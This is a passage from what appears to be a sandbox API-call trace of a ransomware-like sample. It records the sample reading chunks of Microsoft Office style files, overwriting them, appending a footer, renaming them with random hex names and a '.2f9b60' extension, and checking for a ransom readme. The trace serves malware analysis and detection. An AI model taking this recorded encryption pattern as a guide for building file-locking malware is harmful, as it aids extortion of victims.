[0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x22fd286 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x1f98bc07 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x57c7d473 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x39f797a9 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x40d413a1 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x56b0efbf [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x5fb1cbb [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0xec87381 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0xb6fb94c [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x674c77c0 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x7fe038bd [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x34b6f2ab [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x68d8a651 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x4742c741 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x660e53b3 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x7af15a91 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x30f19b8b [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0xd2314a6 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x6c61259 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x2a21f38a [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x1be6732a [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x38d15005 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x16b4a400 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x6f7a64f5 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0xe8715fa [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x67508146 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x148da090 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x38b55c8 [0124.482] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.482] ReadFile (in: hFile=0xdbc, lpBuffer=0x41fee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2069f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41fee130*, lpNumberOfBytesRead=0x2069f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.860] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0124.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b84990 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0124.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0124.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a5d0) returned 1 [0124.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.861] WriteFile (hFile=0xdbc, lpBuffer=0x41b84990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2069f5a0, lpOverlapped=0x0) [0176.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b84990) returned 1 [0176.626] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.626] ReadFile (in: hFile=0xdbc, lpBuffer=0x41fee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2069f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41fee130*, lpNumberOfBytesRead=0x2069f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0176.656] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x2d000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a60 [0176.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7a60) returned 1 [0176.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c1150 [0176.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7a60 [0176.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7ac0 [0176.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7ac0) returned 1 [0176.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.659] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.659] WriteFile (in: hFile=0xdbc, lpBuffer=0x423c1150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2069f5a0, lpOverlapped=0x0 | out: lpBuffer=0x423c1150*, lpNumberOfBytesWritten=0x2069f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c1150) returned 1 [0194.145] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x4ec2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.146] ReadFile (in: hFile=0xdbc, lpBuffer=0x41fee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2069f5a0, lpOverlapped=0x0 | out: lpBuffer=0x41fee130*, lpNumberOfBytesRead=0x2069f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.246] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x4ec2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1b0 [0194.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a1b0) returned 1 [0194.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423cc580 [0194.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1b0 [0194.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a1e0 [0194.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a1e0) returned 1 [0194.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.250] WriteFile (in: hFile=0xdbc, lpBuffer=0x423cc580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2069f5a0, lpOverlapped=0x0 | out: lpBuffer=0x423cc580*, lpNumberOfBytesWritten=0x2069f5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423cc580) returned 1 [0204.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319ee20 [0204.742] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.742] WriteFile (in: hFile=0xdbc, lpBuffer=0x1cebdfc0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2069f650, lpOverlapped=0x0 | out: lpBuffer=0x1cebdfc0*, lpNumberOfBytesWritten=0x2069f650*=0x148, lpOverlapped=0x0) returned 1 [0215.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0215.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbbe0 [0215.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ed0 [0215.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ed0) returned 1 [0215.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0215.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ed0 [0215.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f00 [0215.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f00) returned 1 [0215.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbbe0) returned 1 [0215.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0215.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac7e0 [0215.915] sprintf (in: _Dest=0x431ac7e0, _Format="%c%c" | out: _Dest="54") returned 2 [0215.915] sprintf (in: _Dest=0x431ac7e2, _Format="%c%c" | out: _Dest="df") returned 2 [0215.915] sprintf (in: _Dest=0x431ac7e4, _Format="%c%c" | out: _Dest="81") returned 2 [0215.915] sprintf (in: _Dest=0x431ac7e6, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.915] sprintf (in: _Dest=0x431ac7e8, _Format="%c%c" | out: _Dest="97") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7ea, _Format="%c%c" | out: _Dest="02") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7ec, _Format="%c%c" | out: _Dest="ed") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7ee, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7f0, _Format="%c%c" | out: _Dest="78") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7f2, _Format="%c%c" | out: _Dest="30") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7f4, _Format="%c%c" | out: _Dest="bb") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7f6, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7f8, _Format="%c%c" | out: _Dest="9c") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7fa, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7fc, _Format="%c%c" | out: _Dest="cf") returned 2 [0215.916] sprintf (in: _Dest=0x431ac7fe, _Format="%c%c" | out: _Dest="28") returned 2 [0215.916] sprintf (in: _Dest=0x431ac800, _Format="%c%c" | out: _Dest="19") returned 2 [0215.916] sprintf (in: _Dest=0x431ac802, _Format="%c%c" | out: _Dest="13") returned 2 [0215.916] sprintf (in: _Dest=0x431ac804, _Format="%c%c" | out: _Dest="d1") returned 2 [0215.916] sprintf (in: _Dest=0x431ac806, _Format="%c%c" | out: _Dest="28") returned 2 [0215.916] sprintf (in: _Dest=0x431ac808, _Format="%c%c" | out: _Dest="69") returned 2 [0215.916] sprintf (in: _Dest=0x431ac80a, _Format="%c%c" | out: _Dest="f4") returned 2 [0215.916] RtlInitAnsiString (in: DestinationString=0x2069f6c8, SourceString="54df81ff9702edd37830bb5a9cb4cf281913d12869f4" | out: DestinationString="54df81ff9702edd37830bb5a9cb4cf281913d12869f4") [0215.916] RtlAnsiStringToUnicodeString (in: DestinationString=0x2069f698, SourceString="54df81ff9702edd37830bb5a9cb4cf281913d12869f4", AllocateDestinationString=1 | out: DestinationString="54df81ff9702edd37830bb5a9cb4cf281913d12869f4") returned 0x0 [0215.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x431a01d0 [0215.917] wcscat (in: _Dest=0x1ce17420, _Source="54df81ff970" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970" [0215.917] wcscat (in: _Dest=0x1ce17420, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970.2f9b60" [0215.917] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970.2f9b60", NtPathName=0x2069f670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\54df81ff970.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x430fd280 [0227.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd280) returned 1 [0227.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b61a0) returned 1 [0227.077] NtQueryInformationFile (in: FileHandle=0xdbc, IoStatusBlock=0x2069f6d8, FileInformation=0x2069f6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2069f6d8, FileInformation=0x2069f6e8) returned 0x0 [0227.077] NtSetInformationFile (FileHandle=0xdbc, IoStatusBlock=0x2069f6d8, FileInformation=0x2069f6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17420) returned 1 [0235.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a01d0) returned 1 [0235.143] FlushFileBuffers (hFile=0xdbc) returned 1 [0238.183] CloseHandle (hObject=0xdbc) returned 1 [0240.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd653f0 [0240.481] wcscpy (in: _Dest=0x1cd653f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0240.481] wcscat (in: _Dest=0x1cd653f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0240.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0240.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 [0240.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ae2e0) returned 1 Thread: id = 1528 os_tid = 0x1a34 [0121.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl")) returned 0x20 [0121.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL", dwFileAttributes=0x20) returned 1 [0121.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1008 [0121.543] GetFileSizeEx (in: hFile=0x1008, lpFileSize=0x2080fde0 | out: lpFileSize=0x2080fde0*=262536) returned 1 [0121.543] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x40184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.543] ReadFile (in: hFile=0x1008, lpBuffer=0x2080fd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2080fda8, lpOverlapped=0x0 | out: lpBuffer=0x2080fd60*, lpNumberOfBytesRead=0x2080fda8*=0x4, lpOverlapped=0x0) returned 1 [0122.347] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d720 [0122.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0122.347] NtQuerySystemTime (in: CurrentTime=0x2080fca0 | out: CurrentTime=0x2080fca0*=132462177277246000) returned 0x0 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x6e1d181c [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x660e53b3 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x13132f24 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x375e1577 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x1e783522 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x72d9e735 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x2d151618 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x1d749d43 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x765cab40 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x73596dc0 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x10acd2b3 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x2d7bf533 [0122.347] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x6992885f [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x30690ef3 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x21af446 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x7c0931ae [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x6cadbdf9 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x5e78a1d2 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x3d969fb [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x9cbe6cc [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x44f6f002 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x53d92f2b [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x151e968b [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x175fb305 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x42b2d6d9 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x35d02755 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x10140b4f [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x4f095944 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x7f11ceb6 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x2994a844 [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x63b3b6cc [0122.348] RtlRandomEx (in: Seed=0x2080fc90 | out: Seed=0x2080fc90) returned 0x5f2a25b1 [0122.358] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.358] ReadFile (in: hFile=0x1008, lpBuffer=0x1cef4a70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2080fd00, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesRead=0x2080fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0122.412] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050db70 [0122.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050db70) returned 1 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f5b4e0 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050db70 [0122.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dba0 [0122.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dba0) returned 1 [0122.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.412] WriteFile (in: hFile=0x1008, lpBuffer=0x41f5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2080fd00, lpOverlapped=0x0 | out: lpBuffer=0x41f5b4e0*, lpNumberOfBytesWritten=0x2080fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0161.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f5b4e0) returned 1 [0161.343] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.343] ReadFile (in: hFile=0x1008, lpBuffer=0x1cef4a70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2080fd00, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesRead=0x2080fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0161.375] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0161.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3fe0 [0161.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3fe0) returned 1 [0161.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42344990 [0161.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3fe0 [0161.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4010 [0161.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4010) returned 1 [0161.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0161.377] WriteFile (hFile=0x1008, lpBuffer=0x42344990, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2080fd00, lpOverlapped=0x0) [0187.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42344990) returned 1 [0187.143] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x3c588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.143] ReadFile (in: hFile=0x1008, lpBuffer=0x1cef4a70, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2080fd00, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesRead=0x2080fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0190.534] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x3c588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bf0 [0190.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138bf0) returned 1 [0190.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b13a20 [0190.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138bf0 [0190.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138c20 [0190.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138c20) returned 1 [0190.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.537] WriteFile (in: hFile=0x1008, lpBuffer=0x42b13a20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2080fd00, lpOverlapped=0x0 | out: lpBuffer=0x42b13a20*, lpNumberOfBytesWritten=0x2080fd00*=0x3c00, lpOverlapped=0x0) returned 1 [0205.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b13a20) returned 1 [0205.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f590 [0205.332] SetFilePointerEx (in: hFile=0x1008, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: 